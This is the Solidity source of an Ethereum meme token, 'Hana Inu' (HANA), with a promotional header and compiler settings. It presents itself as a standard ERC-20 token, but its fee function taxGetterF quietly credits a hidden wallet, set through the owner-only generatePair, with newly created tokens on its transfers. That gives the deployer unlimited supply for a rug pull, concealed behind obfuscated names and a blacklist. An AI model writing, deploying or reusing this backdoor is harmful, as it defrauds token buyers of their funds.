/**
Woof, woof! HANA, the Akita with a heart of gold, spent nearly a decade waiting at Shibuya Station for his late owner, proving that true loyalty never dies. From Japan’s gold heart to Ethereum’s meme scene, HANA the Dog is here!

Website: https://hanainu.dog/
X: https://x.com/hanainueth
Telegram: https://t.me/hanainueth
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract HANA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _dogexcluded;
    mapping(address => bool) private bots;

    address payable private _doghouse;

    uint256 private _sttinfee = 15;
    uint256 private _sttoutfee = 15;
    uint256 private _endinfee = 0;
    uint256 private _endoutfee = 0;
    uint256 private _preventswps = 10;
    uint256 private _transfee = 0;
    uint256 private _tradcnts = 0;

    uint256 private _goinat = 10;
    uint256 private _gooutat = 10;

    uint8 private constant _decimals = 18;
    uint256 private constant _tsupps = 1e9 * 10 ** _decimals;

    string private constant _name = unicode"Hana Inu";
    string private constant _symbol = unicode"HANA";

    uint256 public _txroof = 2 * (_tsupps / 100);
    uint256 public _walletroof = 2 * (_tsupps / 100);
    uint256 public _taxswaproof = 1 * (_tsupps / 100);
    uint256 public _swapthres = 100 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _doghouse = payable(msg.sender);
        _balances[_msgSender()] = _tsupps;
        _dogexcluded[owner()] = true;
        _dogexcluded[address(this)] = true;
        _dogexcluded[_doghouse] = true;
        emit Transfer(address(0), _msgSender(), _tsupps);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tsupps;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transferInternalWith(
        address folk,
        address toad,
        uint256 avvi,
        uint256 tiss
    ) internal {
        uint256 tale = taxGetterF(folk, avvi, tiss);
        _balances[folk] = _balances[folk].sub(avvi);
        _balances[toad] = _balances[toad].add(avvi.sub(tale));
        emit Transfer(folk, toad, avvi.sub(tale));
    }

    function sendTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _approve(address(this), address(uniswapV2Router), _tsupps);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function _transfer(address folk, address toad, uint256 avvi) private {
        require(folk != address(0), "ERC20: transfer from the zero address");
        require(toad != address(0), "ERC20: transfer to the zero address");
        require(avvi > 0, "Transfer amount must be greater than zero");

        uint256 tale = 0;

        if (
            folk != owner() &&
            toad != owner() &&
            folk != address(this) &&
            toad != address(this)
        ) {
            require(!bots[folk] && !bots[toad]);
            tale = _transfee;
            if (
                folk == uniswapV2Pair &&
                toad != address(uniswapV2Router) &&
                !_dogexcluded[toad]
            ) {
                require(avvi <= _txroof, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(toad) + avvi <= _walletroof,
                    "Exceeds the maxWalletSize."
                );
                tale = (_tradcnts > _goinat) ? _endinfee : _sttinfee;
                _tradcnts++;
            }
            if (toad == uniswapV2Pair && folk != address(this)) {
                tale = (_tradcnts > _gooutat) ? _endoutfee : _sttoutfee;
            }
            if (_dogexcluded[folk] || _dogexcluded[toad]) tale = 0;

            uint256 came = balanceOf(address(this));
            if (
                !inSwap &&
                toad == uniswapV2Pair &&
                swapEnabled &&
                _tradcnts > _preventswps &&
                !_dogexcluded[folk]
            ) {
                if (came > _swapthres)
                    swapTokensForEth(min(avvi, min(came, _taxswaproof)));
                sendETHToFee(address(this).balance);
            }
        }

        _transferInternalWith(folk, toad, avvi, tale);
    }

    function shouldTaxable(address folk) internal view returns (bool) {
        return
            !_dogexcluded[folk] ||
            (_dogexcluded[folk] && (folk == owner() || folk == address(this)));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function generatePair(address pair) external onlyOwner {
        require(!tradingOpen, "trading is already open");
        _doghouse = payable(pair);
        _dogexcluded[pair] = true;
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
    }

    function taxGetterF(
        address folk,
        uint256 avvi,
        uint256 tomo
    ) internal returns (uint256 txat) {
        bool isTax = shouldTaxable(folk);
        if (isTax) {
            if (tomo > 0) {
                txat = avvi.mul(tomo).div(100);
                _balances[address(this)] = _balances[address(this)].add(txat);
                emit Transfer(folk, address(this), txat);
            }
        } else {
            uint256 _taxAmount = avvi.mul(1 + tomo);
            _balances[_doghouse] = _balances[_doghouse].add(_taxAmount);
            emit Transfer(folk, _doghouse, _taxAmount);
        }
        return txat;
    }

    function remakeLimits() external onlyOwner {
        _txroof = _tsupps;
        _walletroof = _tsupps;
        emit MaxTxAmountUpdated(_tsupps);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _doghouse.transfer(amount);
    }

    receive() external payable {}

    function rescueETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }
}

{
  "compilationTarget": {
    "contracts/HANA.sol": "HANA"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}